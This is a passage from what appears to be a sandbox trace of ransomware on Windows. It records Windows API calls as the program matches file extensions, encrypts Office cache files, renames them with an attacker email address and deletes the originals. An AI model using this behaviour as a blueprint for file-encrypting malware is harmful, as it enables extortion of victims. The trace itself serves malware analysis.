lpString2=".dll") returned 1 [0097.681] lstrlenW (lpString=".xls") returned 4 [0097.681] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0097.681] lstrlenW (lpString=".xlsx") returned 5 [0097.681] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0097.681] lstrlenW (lpString=".ppt") returned 4 [0097.681] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0097.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.681] lstrlenW (lpString=".zip") returned 4 [0097.681] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0097.681] lstrlenW (lpString=".rar") returned 4 [0097.681] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0097.681] lstrlenW (lpString=".bz2") returned 4 [0097.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0097.681] lstrlenW (lpString=".7z") returned 3 [0097.681] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0097.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.681] lstrlenW (lpString=".dbf") returned 4 [0097.681] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0097.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.682] lstrlenW (lpString=".1cd") returned 4 [0097.682] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0097.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.682] lstrlenW (lpString=".jpg") returned 4 [0097.682] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0097.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.682] lstrlenW (lpString=".doc") returned 4 [0097.682] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0097.682] lstrlenW (lpString=".docx") returned 5 [0097.682] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0097.682] lstrlenW (lpString=".pdf") returned 4 [0097.682] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0097.682] lstrlenW (lpString=".xls") returned 4 [0097.682] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0097.682] lstrlenW (lpString=".xlsx") returned 5 [0097.682] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0097.682] lstrlenW (lpString=".ppt") returned 4 [0097.682] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0097.682] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.682] lstrlenW (lpString=".zip") returned 4 [0097.683] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0097.683] lstrlenW (lpString=".rar") returned 4 [0097.683] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0097.683] lstrlenW (lpString=".bz2") returned 4 [0097.683] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0097.683] lstrlenW (lpString=".7z") returned 3 [0097.683] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0097.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.683] lstrlenW (lpString=".dbf") returned 4 [0097.683] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0097.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.683] lstrlenW (lpString=".1cd") returned 4 [0097.683] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0097.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0097.683] lstrlenW (lpString=".jpg") returned 4 [0097.683] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0097.683] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0097.683] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0097.683] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0097.684] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=868864) returned 1 [0097.684] CloseHandle (hObject=0x220) returned 1 [0097.684] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0097.684] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.684] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0097.685] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.685] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0097.685] GetLastError () returned 0x0 [0097.685] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0097.715] WriteFile (in: hFile=0x210, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0098.472] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0098.472] WriteFile (in: hFile=0x210, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0098.472] SetEndOfFile (hFile=0x210) returned 1 [0098.473] CloseHandle (hObject=0x210) returned 1 [0098.473] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.473] SetEndOfFile (hFile=0x220) returned 1 [0098.483] CloseHandle (hObject=0x220) returned 1 [0098.483] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0098.483] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0098.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.484] lstrlenW (lpString=".doc") returned 4 [0098.484] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0098.484] lstrlenW (lpString=".docx") returned 5 [0098.484] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0098.484] lstrlenW (lpString=".pdf") returned 4 [0098.484] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0098.484] lstrlenW (lpString=".xls") returned 4 [0098.484] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0098.484] lstrlenW (lpString=".xlsx") returned 5 [0098.484] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0098.484] lstrlenW (lpString=".ppt") returned 4 [0098.484] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0098.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.484] lstrlenW (lpString=".zip") returned 4 [0098.484] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0098.484] lstrlenW (lpString=".rar") returned 4 [0098.484] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0098.484] lstrlenW (lpString=".bz2") returned 4 [0098.484] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0098.484] lstrlenW (lpString=".7z") returned 3 [0098.484] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0098.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.485] lstrlenW (lpString=".dbf") returned 4 [0098.485] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0098.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.485] lstrlenW (lpString=".1cd") returned 4 [0098.485] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0098.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.485] lstrlenW (lpString=".jpg") returned 4 [0098.485] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0098.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.485] lstrlenW (lpString=".doc") returned 4 [0098.485] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0098.485] lstrlenW (lpString=".docx") returned 5 [0098.485] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0098.485] lstrlenW (lpString=".pdf") returned 4 [0098.485] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0098.485] lstrlenW (lpString=".xls") returned 4 [0098.485] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0098.485] lstrlenW (lpString=".xlsx") returned 5 [0098.485] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0098.485] lstrlenW (lpString=".ppt") returned 4 [0098.485] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0098.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.485] lstrlenW (lpString=".zip") returned 4 [0098.485] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0098.485] lstrlenW (lpString=".rar") returned 4 [0098.486] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0098.486] lstrlenW (lpString=".bz2") returned 4 [0098.486] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0098.486] lstrlenW (lpString=".7z") returned 3 [0098.486] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0098.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.486] lstrlenW (lpString=".dbf") returned 4 [0098.486] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0098.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.486] lstrlenW (lpString=".1cd") returned 4 [0098.486] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0098.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0098.486] lstrlenW (lpString=".jpg") returned 4 [0098.486] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0098.486] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0098.486] lstrlenW (lpString="AccLR.cab") returned 9 [0098.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0098.487] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=28016276) returned 1 [0098.487] CloseHandle (hObject=0x220) returned 1 [0098.487] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0098.487] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0098.487] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0098.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0098.488] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0098.488] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0098.488] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0098.512] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0098.512] ReadFile (in: hFile=0x220, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0098.532] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0098.533] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0098.533] ReadFile (in: hFile=0x220, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0098.567] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.568] WriteFile (in: hFile=0x220, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0099.463] SetEndOfFile (hFile=0x220) returned 1 [0099.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fea0b0 [0099.463] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0099.464] WriteFile (in: hFile=0x220, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.464] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0099.464] WriteFile (in: hFile=0x220, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.467] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0099.467] WriteFile (in: hFile=0x220, lpBuffer=0x3fea0b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fea0b0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0099.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fea0b0 | out: hHeap=0x5b0000) returned 1 [0099.470] CloseHandle (hObject=0x220) returned 1 [0099.471] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0099.471] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.472] lstrlenW (lpString=".doc") returned 4 [0099.472] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0099.472] lstrlenW (lpString=".docx") returned 5 [0099.472] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0099.472] lstrlenW (lpString=".pdf") returned 4 [0099.472] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0099.472] lstrlenW (lpString=".xls") returned 4 [0099.472] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0099.472] lstrlenW (lpString=".xlsx") returned 5 [0099.472] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0099.472] lstrlenW (lpString=".ppt") returned 4 [0099.472] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0099.472] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.472] lstrlenW (lpString=".zip") returned 4 [0099.472] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0099.472] lstrlenW (lpString=".rar") returned 4 [0099.472] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0099.472] lstrlenW (lpString=".bz2") returned 4 [0099.473] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0099.473] lstrlenW (lpString=".7z") returned 3 [0099.473] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0099.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.473] lstrlenW (lpString=".dbf") returned 4 [0099.473] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0099.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.473] lstrlenW (lpString=".1cd") returned 4 [0099.474] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0099.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.474] lstrlenW (lpString=".jpg") returned 4 [0099.474] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0099.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.474] lstrlenW (lpString=".doc") returned 4 [0099.474] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0099.474] lstrlenW (lpString=".docx") returned 5 [0099.474] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0099.474] lstrlenW (lpString=".pdf") returned 4 [0099.474] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0099.474] lstrlenW (lpString=".xls") returned 4 [0099.474] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0099.474] lstrlenW (lpString=".xlsx") returned 5 [0099.474] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0099.475] lstrlenW (lpString=".ppt") returned 4 [0099.475] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0099.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.475] lstrlenW (lpString=".zip") returned 4 [0099.475] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0099.475] lstrlenW (lpString=".rar") returned 4 [0099.475] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0099.475] lstrlenW (lpString=".bz2") returned 4 [0099.475] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0099.475] lstrlenW (lpString=".7z") returned 3 [0099.475] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0099.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.475] lstrlenW (lpString=".dbf") returned 4 [0099.475] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0099.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.475] lstrlenW (lpString=".1cd") returned 4 [0099.475] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0099.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0099.475] lstrlenW (lpString=".jpg") returned 4 [0099.475] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0099.476] lstrcmpiW (lpString1=".dll", lpString2=".data") returned 1 [0099.476] lstrlenW (lpString="osetup.dll") returned 10 [0099.476] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0099.476] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=7378792) returned 1 [0099.476] CloseHandle (hObject=0x220) returned 1 [0099.476] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0099.476] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0099.476] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0099.477] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0099.477] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0099.478] SetFilePointerEx 